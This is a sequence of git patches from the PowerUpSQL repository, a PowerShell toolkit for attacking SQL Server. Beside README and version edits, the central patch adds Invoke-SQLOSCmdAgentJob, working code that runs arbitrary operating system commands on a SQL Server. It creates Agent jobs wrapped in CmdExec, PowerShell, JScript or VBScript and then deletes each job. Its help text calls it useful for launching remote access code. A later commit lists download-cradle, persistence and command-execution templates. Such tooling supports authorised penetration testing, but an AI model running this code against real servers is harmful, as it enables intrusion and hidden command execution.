@@ The PowerUpSQL module includes functions that support SQL Server discovery, audi ### PowerUpSQL Wiki For setup instructions, cheat sheets, blogs, function overviews, and usage information check out the wiki: https://github.com/NetSPI/PowerUpSQL/wiki +### Author, Contributors, and License * Author: Scott Sutherland (@_nullbind), NetSPI - 2017 * Major Contributors: Antti Rantasaari and Eric Gruber (@egru) * Contributors: Alexander Leary (@0xbadjuju), @leoloobeek, Mike Manzotti (@mmanzo_), and @ktaranov From 788924257fa4328002796b5feb45fedb50356e92 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 17 Jul 2017 21:15:48 -0500 Subject: [PATCH 056/145] Fix Get-DomainSPN parsing error Fixed Get-DomainSPN parsing error found by @harmj0y. --- PowerUpSQL.ps1 | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index b8d1475..8f4259a 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.82.97 + Version: 1.82.98 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -11756,9 +11756,10 @@ function Get-DomainSpn $SpnResults | ForEach-Object -Process { [string]$SidBytes = [byte[]]"$($_.Properties.objectsid)".split(' ') [string]$SidString = $SidBytes -replace ' ', '' - $Spn = $_.properties.serviceprincipalname[0].split(',') + #$Spn = $_.properties.serviceprincipalname[0].split(',') - foreach ($item in $Spn) + #foreach ($item in $Spn) + foreach ($item in $($_.properties.serviceprincipalname)) { # Parse SPNs $SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0] From ca8a1b1bf4a69048f5cc7adc14ffce4266c1d4a3 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 18 Jul 2017 09:16:13 -0500 Subject: [PATCH 057/145] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index a55a8a0..6f465d8 100644 --- a/README.md +++ b/README.md @@ -5,16 +5,19 @@ [![stars badge]][stars] [![forks badge]][forks] [![issues badge]][issues] +[![wiki Badge]][wiki] [licence badge]:https://img.shields.io/badge/license-New%20BSD-blue.svg [stars badge]:https://img.shields.io/github/stars/NetSPI/PowerUpSQL.svg [forks badge]:https://img.shields.io/github/forks/NetSPI/PowerUpSQL.svg [issues badge]:https://img.shields.io/github/issues/NetSPI/PowerUpSQL.svg +[wiki badge]:https://img.shields.io/badge/PowerUpSQL-Wiki-green.svg [licence]:https://github.com/NetSPI/PowerUpSQL/blob/master/LICENSE [stars]:https://github.com/NetSPI/PowerUpSQL/stargazers [forks]:https://github.com/NetSPI/PowerUpSQL/network [issues]:https://github.com/NetSPI/PowerUpSQL/issues +[wiki]:https://github.com/NetSPI/PowerUpSQL/wiki ### PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server From 0d9268bf7d64164bf0879794f84a297055b2c010 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 18 Jul 2017 09:18:45 -0500 Subject: [PATCH 058/145] Update README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 6f465d8..6abd60f 100644 --- a/README.md +++ b/README.md @@ -2,10 +2,12 @@ ![PowerUpSQLLogo](https://github.com/NetSPI/PowerUpSQL/blob/master/images/powerupsql-large.png)
[![licence badge]][licence] +[![wiki Badge]][wiki] +
[![stars badge]][stars] [![forks badge]][forks] [![issues badge]][issues] -[![wiki Badge]][wiki] + [licence badge]:https://img.shields.io/badge/license-New%20BSD-blue.svg [stars badge]:https://img.shields.io/github/stars/NetSPI/PowerUpSQL.svg From 5ee384486e5d000fbb0eefa807a114d4268d7cc3 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 18 Jul 2017 09:26:20 -0500 Subject: [PATCH 059/145] Update README.md --- README.md | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 6abd60f..a7013cc 100644 --- a/README.md +++ b/README.md @@ -1,13 +1,7 @@ -![PowerUpSQLLogo](https://github.com/NetSPI/PowerUpSQL/blob/master/images/powerupsql-large.png) -
-[![licence badge]][licence] -[![wiki Badge]][wiki] -
-[![stars badge]][stars] -[![forks badge]][forks] -[![issues badge]][issues] - +| ![PowerUpSQLLogo](https://github.com/NetSPI/PowerUpSQL/blob/master/images/powerupsql-large.png) | +| :-------------: | +|
[![licence badge]][licence] [![wiki Badge]][wiki]
[![stars badge]][stars] [![forks badge]][forks] [![issues badge]][issues] | [licence badge]:https://img.shields.io/badge/license-New%20BSD-blue.svg [stars badge]:https://img.shields.io/github/stars/NetSPI/PowerUpSQL.svg From 84adc95354740fe1f1ac9ee267720c6a3fa99975 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 18 Jul 2017 09:28:40 -0500 Subject: [PATCH 060/145] Update README.md --- README.md | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index a7013cc..aef96f7 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,11 @@ -| ![PowerUpSQLLogo](https://github.com/NetSPI/PowerUpSQL/blob/master/images/powerupsql-large.png) | -| :-------------: | -|
[![licence badge]][licence] [![wiki Badge]][wiki]
[![stars badge]][stars] [![forks badge]][forks] [![issues badge]][issues] | +![PowerUpSQLLogo](https://github.com/NetSPI/PowerUpSQL/blob/master/images/powerupsql-large.png) +
+[![licence badge]][licence] +[![wiki Badge]][wiki] +[![stars badge]][stars] +[![forks badge]][forks] +[![issues badge]][issues] | [licence badge]:https://img.shields.io/badge/license-New%20BSD-blue.svg [stars badge]:https://img.shields.io/github/stars/NetSPI/PowerUpSQL.svg From 5b15ae02ecb4401a861a19b6faa632c9993dd94d Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 21 Jul 2017 21:35:49 -0500 Subject: [PATCH 061/145] Update readme Removed scripts, because they have been added as functions. --- scripts/pending/README.md | 15 --------------- 1 file changed, 15 deletions(-) diff --git a/scripts/pending/README.md b/scripts/pending/README.md index 48870fe..ee202d9 100644 --- a/scripts/pending/README.md +++ b/scripts/pending/README.md @@ -1,19 +1,9 @@ ### Stand Alone Scripts These are scripting that will eventually be turned into PowerUpSQL functions. - Author: Antti Rantasaari - Source: Provided directly. - Imported Scripts: Get-SQLServerLinkCrawl.ps1 - - Author: Scott Sutherland - Imported Scripts: Get-SQLServiceAccountPwHashes.ps1 - Author: Scott Sutherland Get-SQLCompactQuery.ps1 - Author: Scott Sutherland - Get-SQLServerLinkCrawl.ps1 - Author: Scott Sutherland Get-SQLServiceAccountPwHashes.ps1 @@ -25,8 +15,3 @@ Author: Scott Sutherland Invoke-SqlServer-Persist-TriggerLogon.psm1 - - Author: Joe Bialek - SQL Wrapper Thingy: Scott Sutherland - Invoke-SqlServerServiceImpersonation-Cmd.ps1 - Invoke-SqlServerServiceImpersonation-Ssms.ps1 From 6cc464c103993ab248b4ab606d43943f5a9496d8 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 29 Aug 2017 20:27:11 -0500 Subject: [PATCH 062/145] Delete _config.yml --- _config.yml | 1 - 1 file changed, 1 deletion(-) delete mode 100644 _config.yml diff --git a/_config.yml b/_config.yml deleted file mode 100644 index 2f7efbe..0000000 --- a/_config.yml +++ /dev/null @@ -1 +0,0 @@ -theme: jekyll-theme-minimal \ No newline at end of file From 6e30f5d45986a5c3a3b7a3ea6250842155287750 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 30 Aug 2017 00:45:46 -0500 Subject: [PATCH 063/145] Add Invoke-SQLOSCmdAgentJob Added Invoke-SQLOSCmdAgentJob. This function was originally added by Leo Loobeek. His function included command execution for CMDEXEC and PowerShell subsystems. I only extended the script to support command execution through VBScript and JScript subsystems as well. --- PowerUpSQL.ps1 | 341 ++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 340 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 8f4259a..b7585d0 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.82.98 + Version: 1.83.98 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -2308,6 +2308,345 @@ Function Invoke-SQLOSCmdCLR } +# ---------------------------------- +# Invoke-SQLOSCmd +# ---------------------------------- +# Author: Leo Loobeek +# Updates By: Scott Sutherland +# TODO: +# - Find better option for SQL Agent Service check +# - Find better option for SQL Agent Service start +# - Add raw script option for jscript/vbscript +Function Invoke-SQLOSCmdAgentJob +{ + <# + .SYNOPSIS + Run operating system commands on a Microsoft SQL server by + leveraging the SQL Agent Job service. There is not a method to retrieve the output, + but it's useful for launching remote access code or sending output through another means. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER DAC + Connect using Dedicated Admin Connection. + .PARAMETER TimeOut + Connection time out. + .PARAMETER Sleep + Command execution time in seconds. + .PARAMETER SuppressVerbose + Suppress verbose errors. Used when function is wrapped. + .PARAMETER Type + The type of Job subsystem to launch. Choices are CmdExec (windows command) or PowerShell. + .PARAMETER Command + Based on type chosen above, this is the command launched when the job is executed. If nesting PowerShell + variables within the command, it will need to be escaped with ` (back tick). + .LINK + https://technet.microsoft.com/en-us/library/ms187100(v=sql.105).aspx + PowerShell/CMDEXEC SubSystem code taken from Nick Popovich (@pipefish_) from Optiv. + https://www.optiv.com/blog/mssql-agent-jobs-for-command-execution + ActiveX VBScript/Jscript SubSystem code based on scripts on Microsoft documentation. + .EXAMPLE + Invoke-SQLOSCmdAgentJob -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'EvilLama!' -SubSystem CmdExec -Command "echo hello > c:\windows\temp\test1.txt" + Invoke-SQLOSCmdAgentJob -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'EvilLama!' -SubSystem PowerShell -Command 'write-output "hello world" | out-file c:\windows\temp\test2.txt' -Sleep 20 + Invoke-SQLOSCmdAgentJob -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'EvilLama!' -SubSystem VBScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test3.txt' + Invoke-SQLOSCmdAgentJob -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'EvilLama!' -SubSystem JScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test4.txt' + .EXAMPLE + Invoke-SQLOSCmdAgentJob -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'EvilLama!' -SubSystem JScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test5.txt' + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Connection Success. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : SubSystem: JScript + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Command: c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test.txt + VERBOSE: MSSQLSRV04\SQLSERVER2014 : You have EXECUTE privileges to create Agent Jobs (sp_add_job). + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Running the command + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Starting sleep for 5 seconds + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Removing job from server + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Command complete + + ComputerName Instance Results + ------------ -------- ------- + MSSQLSRV04 MSSQLSRV04\SQLSERVER2014 The Job succesfully started and was removed. + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $true, + HelpMessage = 'Support subsystems include CmdExec, PowerShell, JScript, and VBScript.')] + [ValidateSet("CmdExec", "PowerShell","JScript","VBScript")] + [string] $SubSystem, + + [Parameter(Mandatory = $true, + HelpMessage = 'OS command to be executed.')] + [String]$Command, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Command run time before killing the agent job.')] + [int]$Sleep = 5, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Setup data table for output + $TblCommands = New-Object -TypeName System.Data.DataTable + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('Results') + + } + + Process + { + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Setup DAC string + if($DAC) + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut + } + else + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut + } + # Attempt connection + try + { + # Open connection + $Connection.Open() + if(-not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + + # Status configuration + Write-Verbose -Message "$Instance : SubSystem: $SubSystem" + Write-Verbose -Message "$Instance : Command: $Command" + } + + # Get some information about current context + $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + $CurrentLogin = $ServerInfo.CurrentLogin + $ComputerName = $ServerInfo.ComputerName + $SysadminStatus = $ServerInfo.IsSysAdmin + + <# table not accessible to non sysadmin logins that may have other privileges + # Check if Agent Job service is running + $IsAgentServiceEnabled = Get-SQLQuery -Instance $Instance -Query "SELECT 1 FROM sysprocesses WHERE LEFT(program_name, 8) = 'SQLAgent'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # See if the SQL Server Agent Service is enabled + + if ($IsAgentServiceEnabled) + { + Write-Verbose -Message "$Instance : Verfied the SQL Server Agent service is running." + } + else + { + # TODO: Find reliable way to start agent service if possible + Write-Verbose -Message "$Instance : SQL Server Agent service has not been started. Aborting..." + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'SQL Server Agent service not started.') + return + } + #> + + # https://msdn.microsoft.com/en-us/library/ms188283.aspx + # Check to see if member of any SQL Agent roles listed above + # If a user is a sysadmin, or a member of any of the 3 database roles they should be able to + # create and execute their own agent jobs on the SQL server. + + # Check for sysadmin role + if($SysadminStatus -eq "Yes"){ + $ConfirmedPrivs = $CurrentLogin + } + + # Check for agent database roles + $AddJobPrivs = Get-SQLDatabaseRoleMember -Username $Username -Password $Password -Instance $Instance -DatabaseName msdb -SuppressVerbose | + ForEach-Object { + if(($_.RolePrincipalName -match "SQLAgentUserRole|SQLAgentReaderRole|SQLAgentOperatorRole")) { + if ($_.PrincipalName -eq $CurrentLogin) { + $ConfirmedPrivs = $CurrentLogin + } + } + } + + # Attempt to create the agent jobs + if($ConfirmedPrivs) + { + Write-Verbose -Message "$Instance : You have EXECUTE privileges to create Agent Jobs (sp_add_job)." + + # Setup place holder for $DatabaseSub + $DatabaseSub = "" + $SubSystemFinal = $SubSystem + + # Setup JScript wrapper + If($SubSystem -eq "JScript"){ + + # Double the slashes to support the command syntax + $Command = $Command.Replace("\","\\") + + + # Create the JScript + # Example command: c:\\windows\\system32\\cmd.exe /c echo hello > c:\\windows\\temp\\blah.txt + $JScript_Command = @" +function RunCmd() +{ + var WshShell = new ActiveXObject("WScript.Shell"); + var oExec = WshShell.Exec("$Command"); + oExec = null; + WshShell = null; +} + +RunCmd(); +"@ + # Overwrite command with the JScript + $Command = $JScript_Command + $SubSystemFinal = "ActiveScripting" + $DatabaseSub = "@database_name=N'JavaScript'," + } + + + # Setup VBScript wrapper + If($SubSystem -eq "VBScript"){ + + # Create the VBScript + # Example Command: c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt + $VBScript_Command = @" +Function Main() + dim shell + set shell= CreateObject ("WScript.Shell") + shell.run("$Command") + set shell = nothing +END Function +"@ + # Overwrite command with the VBScript + $Command = $VBScript_Command + $SubSystemFinal = "ActiveScripting" + $DatabaseSub = "@database_name=N'VBScript'," + } + + # Fix single quotes so then can be used within commands ' -> '' + $Command = $Command -replace "'","''" + + # Got the privs, let's execute some malicious code! + # SQL Query taken from https://www.optiv.com/blog/mssql-agent-jobs-for-command-execution + # Authors: + # Nicholas Popovich for PowerShelland CmdExec + # Scott Sutherland for VBScript and JScript + $JobQuery = "USE msdb; + EXECUTE dbo.sp_add_job + @job_name = N'powerupsql_job' + + EXECUTE sp_add_jobstep + @job_name = N'powerupsql_job', + @step_name = N'powerupsql_job_step', + @subsystem = N'$SubSystemFinal', + @command = N'$Command', + $DatabaseSub + @flags=0, + @retry_attempts = 1, + @retry_interval = 5 + + + EXECUTE dbo.sp_add_jobserver + @job_name = N'powerupsql_job' + + EXECUTE dbo.sp_start_job N'powerupsql_job'" + + $CleanUpQuery = "USE msdb; EXECUTE sp_delete_job @job_name = N'powerupsql_job';" + + Write-Verbose -Message "$Instance : Running the command" + + # Execute Query + Get-SQLQuery -Instance $Instance -Query $JobQuery -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + $result = Get-SQLQuery -Instance $Instance -Query "use msdb; EXECUTE sp_help_job @job_name = N'powerupsql_job'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + if(!($result)) { + Write-Warning "Job failed to start. Recheck your command and try again." + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Agent Job failed to start.') + return + } + + # Sleep for 5 seconds to ensure job starts, may need to increase or remove this after further testing + Write-Verbose "$Instance : Starting sleep for $Sleep seconds" + Start-Sleep $Sleep + + # Clean up the Job + Write-Verbose "$Instance : Removing job from server" + Get-SQLQuery -Instance $Instance -Query $CleanUpQuery -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'The Job succesfully started and was removed.') + + } + else + { + Write-Verbose -Message "$Instance : You do not have privileges to add agent jobs (sp_add_job). Aborting..." + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Insufficient privilieges to add Agent Jobs.') + return + } + + # Close connection + $Connection.Close() + + # Dispose connection + $Connection.Dispose() + + # Status + Write-Verbose -Message "$Instance : Command complete" + } + catch + { + # Connection failed + if(-not $SuppressVerbose) + { + $ErrorMessage = $_.Exception.Message + Write-Verbose -Message "$Instance : Connection Failed." + #Write-Verbose " Error: $ErrorMessage" + } + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') + } + + return $TblResults + } +} + + # ---------------------------------- # Get-SQLServerInfo # ---------------------------------- From 9505575aeff9b11dcb8966451499f28e62e84fc3 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 30 Aug 2017 00:47:21 -0500 Subject: [PATCH 064/145] Update version. --- PowerUpSQL.psd1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 20d531c..3a81c17 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.82.95' + ModuleVersion = '1.83.98' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -89,6 +89,7 @@ 'Invoke-SQLOSCmdCLR', 'Invoke-SQLOSCmdCOle', 'Invoke-SQLOSCmdR', + 'Invoke-SQLOSCmdAgentJob', 'Invoke-TokenManipulation' ) FileList = 'PowerUpSQL.psm1', 'PowerUpSQL.ps1', 'README.md' From e16ae82e74f6b099a000e36670da6222751d0d8c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 6 Sep 2017 13:50:39 -0500 Subject: [PATCH 065/145] Add tsql templates Added tsql templates --- {template => templates}/cmd_exec.cpp | 0 {template => templates}/cmd_exec.cs | 0 {template => templates}/evil.cpp | 0 templates/tsql/AllowPublicXpRegWrite | 39 ++++ templates/tsql/Get- RolePrivs | 171 ++++++++++++++++++ .../tsql/Get-10MostExpressiveQueries.tsql | 23 +++ templates/tsql/Get-AgentJob.sql | 18 ++ templates/tsql/Get-AuditAction.sql | 8 + templates/tsql/Get-AuditDatabase.sql | 18 ++ templates/tsql/Get-AuditServer.sql | 18 ++ templates/tsql/Get-CachedPlans.sql | 10 + templates/tsql/Get-Column.sql | 9 + templates/tsql/Get-Credential.sql | 5 + templates/tsql/Get-CurrentLogin.sql | 4 + templates/tsql/Get-Database.sql | 24 +++ templates/tsql/Get-DatabaseAudit.sql | 10 + templates/tsql/Get-DatabasePriv.sql | 27 +++ templates/tsql/Get-DatabaseRole.sql | 15 ++ templates/tsql/Get-DatabaseUser.sql | 20 ++ templates/tsql/Get-Domain.sql | 5 + templates/tsql/Get-Endpoint.sql | 5 + templates/tsql/Get-PrincipalID2SqlLogin.sql | 10 + templates/tsql/Get-Proc.sql | 16 ++ templates/tsql/Get-ProcParameter.sql | 23 +++ templates/tsql/Get-ProcPriv.sql | 13 ++ templates/tsql/Get-ProcSigned.sql | 23 +++ templates/tsql/Get-ProcSignedByCertLogin.sql | 30 +++ templates/tsql/Get-QueryHistory.sql | 16 ++ templates/tsql/Get-SID2WinAccount.sql | 6 + templates/tsql/Get-SQLAgentJobProxy.tsql | 30 +++ templates/tsql/Get-SQLStoredProcedureCLR.sql | 26 +++ templates/tsql/Get-Schema | 9 + templates/tsql/Get-Schema.sql | 9 + templates/tsql/Get-ServerAudit.sql | 10 + templates/tsql/Get-ServerCertLogin.sql | 8 + templates/tsql/Get-ServerConfiguration.sql | 5 + templates/tsql/Get-ServerLink.sql | 40 ++++ templates/tsql/Get-ServerLogin.sql | 13 ++ templates/tsql/Get-ServerPriv.sql | 30 +++ templates/tsql/Get-ServerRole.sql | 18 ++ templates/tsql/Get-ServiceAccount.sql | 86 +++++++++ templates/tsql/Get-Session.sql | 14 ++ templates/tsql/Get-SqlLogin2PrincipalID.sql | 10 + templates/tsql/Get-Table.sql | 8 + templates/tsql/Get-TablePriv.sql | 13 ++ templates/tsql/Get-TempObject.sql | 5 + templates/tsql/Get-TriggerDDL.sql | 13 ++ templates/tsql/Get-TriggerDML.sql | 26 +++ templates/tsql/Get-TriggerEventType.sql | 8 + templates/tsql/Get-TriggerEventTypes.sql | 8 + templates/tsql/Get-Version.sql | 30 +++ templates/tsql/Get-View.sql | 12 ++ templates/tsql/Get-WinAccount2SID.sql | 10 + templates/tsql/Get-WinAutoRunPw.tsql | 66 +++++++ templates/tsql/download_cradle_tsql_oap.sql | 32 ++++ templates/tsql/download_cradle_tsql_oap2.sql | 40 ++++ .../oscmdexec_agentjob_activex_jscript.sql | 80 ++++++++ .../oscmdexec_agentjob_activex_vbscript.sql | 66 +++++++ templates/tsql/oscmdexec_agentjob_cmdexec.sql | 58 ++++++ .../tsql/oscmdexec_agentjob_powershell.sql | 59 ++++++ templates/tsql/oscmdexec_customxp.cpp | 35 ++++ .../tsql/oscmdexec_oleautomationobject.sql | 45 +++++ templates/tsql/oscmdexec_openrowset.sql | 116 ++++++++++++ templates/tsql/oscmdexec_rscript.sql | 17 ++ templates/tsql/oscmdexec_xpcmdshell.sql | 17 ++ templates/tsql/oscmdexec_xpcmdshell_proxy.sql | 42 +++++ templates/tsql/persist_reg_run.tsql | 10 + templates/tsql/readfile_BulkInsert.sql | 22 +++ templates/tsql/readfile_OpenDataSourceTxt.sql | 17 ++ templates/tsql/readfile_OpenDataSourceXlsx | 17 ++ templates/tsql/readfile_OpenRowSetBulk.sql | 16 ++ templates/tsql/readfile_OpenRowSetTxt.sql | 20 ++ templates/tsql/readfile_OpenRowSetXlsx.sql | 21 +++ templates/tsql/smo-common-commands.ps1 | 117 ++++++++++++ templates/tsql/write_file_OpenRowSetTxt.sql | 19 ++ 75 files changed, 1939 insertions(+) rename {template => templates}/cmd_exec.cpp (100%) rename {template => templates}/cmd_exec.cs (100%) rename {template => templates}/evil.cpp (100%) create mode 100644 templates/tsql/AllowPublicXpRegWrite create mode 100644 templates/tsql/Get- RolePrivs create mode 100644 templates/tsql/Get-10MostExpressiveQueries.tsql create mode 100644 templates/tsql/Get-AgentJob.sql create mode 100644 templates/tsql/Get-AuditAction.sql create mode 100644 templates/tsql/Get-AuditDatabase.sql create mode 100644 templates/tsql/Get-AuditServer.sql create mode 100644 templates/tsql/Get-CachedPlans.sql create mode 100644 templates/tsql/Get-Column.sql create mode 100644 templates/tsql/Get-Credential.sql create mode 100644 templates/tsql/Get-CurrentLogin.sql create mode 100644 templates/tsql/Get-Database.sql create mode 100644 templates/tsql/Get-DatabaseAudit.sql create mode 100644 templates/tsql/Get-DatabasePriv.sql create mode 100644 templates/tsql/Get-DatabaseRole.sql create mode 100644 templates/tsql/Get-DatabaseUser.sql create mode 100644 templates/tsql/Get-Domain.sql create mode 100644 templates/tsql/Get-Endpoint.sql create mode 100644 templates/tsql/Get-PrincipalID2SqlLogin.sql create mode 100644 templates/tsql/Get-Proc.sql create mode 100644 templates/tsql/Get-ProcParameter.sql create mode 100644 templates/tsql/Get-ProcPriv.sql create mode 100644 templates/tsql/Get-ProcSigned.sql create mode 100644 templates/tsql/Get-ProcSignedByCertLogin.sql create mode 100644 templates/tsql/Get-QueryHistory.sql create mode 100644 templates/tsql/Get-SID2WinAccount.sql create mode 100644 templates/tsql/Get-SQLAgentJobProxy.tsql create mode 100644 templates/tsql/Get-SQLStoredProcedureCLR.sql create mode 100644 templates/tsql/Get-Schema create mode 100644 templates/tsql/Get-Schema.sql create mode 100644 templates/tsql/Get-ServerAudit.sql create mode 100644 templates/tsql/Get-ServerCertLogin.sql create mode 100644 templates/tsql/Get-ServerConfiguration.sql create mode 100644 templates/tsql/Get-ServerLink.sql create mode 100644 templates/tsql/Get-ServerLogin.sql create mode 100644 templates/tsql/Get-ServerPriv.sql create mode 100644 templates/tsql/Get-ServerRole.sql create mode 100644 templates/tsql/Get-ServiceAccount.sql create mode 100644 templates/tsql/Get-Session.sql create mode 100644 templates/tsql/Get-SqlLogin2PrincipalID.sql create mode 100644 templates/tsql/Get-Table.sql create mode 100644 templates/tsql/Get-TablePriv.sql create mode 100644 templates/tsql/Get-TempObject.sql create mode 100644 templates/tsql/Get-TriggerDDL.sql create mode 100644 templates/tsql/Get-TriggerDML.sql create mode 100644 templates/tsql/Get-TriggerEventType.sql create mode 100644 templates/tsql/Get-TriggerEventTypes.sql create mode 100644 templates/tsql/Get-Version.sql create mode 100644 templates/tsql/Get-View.sql create mode 100644 templates/tsql/Get-WinAccount2SID.sql create mode 100644 templates/tsql/Get-WinAutoRunPw.tsql create mode 100644 templates/tsql/download_cradle_tsql_oap.sql create mode 100644 templates/tsql/download_cradle_tsql_oap2.sql create mode 100644 templates/tsql/oscmdexec_agentjob_activex_jscript.sql create mode 100644 templates/tsql/oscmdexec_agentjob_activex_vbscript.sql create mode 100644 templates/tsql/oscmdexec_agentjob_cmdexec.sql create mode 100644 templates/tsql/oscmdexec_agentjob_powershell.sql create mode 100644 templates/tsql/oscmdexec_customxp.cpp create mode 100644 templates/tsql/oscmdexec_oleautomationobject.sql create mode 100644 templates/tsql/oscmdexec_openrowset.sql create mode 100644 templates/tsql/oscmdexec_rscript.sql create mode 100644 templates/tsql/oscmdexec_xpcmdshell.sql create mode 100644 templates/tsql/oscmdexec_xpcmdshell_proxy.sql create mode 100644 templates/tsql/persist_reg_run.tsql create mode 100644 templates/tsql/readfile_BulkInsert.sql create mode 100644 templates/tsql/readfile_OpenDataSourceTxt.sql create mode 100644 templates/tsql/readfile_OpenDataSourceXlsx create mode 100644 templates/tsql/readfile_OpenRowSetBulk.sql create mode 100644 templates/tsql/readfile_OpenRowSetTxt.sql create mode 100644 templates/tsql/readfile_OpenRowSetXlsx.sql create mode 100644 templates/tsql/smo-common-commands.ps1 create mode 100644 templates/tsql/write_file_OpenRowSetTxt.sql diff --git a/template/cmd_exec.cpp b/templates/cmd_exec.cpp similarity index 100% rename from template/cmd_exec.cpp rename to templates/cmd_exec.cpp diff --git a/template/cmd_exec.cs b/templates/cmd_exec.cs similarity index 100% rename from template/cmd_exec.cs rename to templates/cmd_exec.cs diff --git a/template/evil.cpp b/templates/evil.cpp similarity index 100% rename from template/evil.cpp rename to templates/evil.cpp diff --git a/templates/tsql/AllowPublicXpRegWrite b/templates/tsql/AllowPublicXpRegWrite new file mode 100644 index 0000000..cdb5368 --- /dev/null +++ b/templates/tsql/AllowPublicXpRegWrite @@ -0,0 +1,39 @@ +Below is a basic SQL Server registry hack that allows non sysadmin logins to use 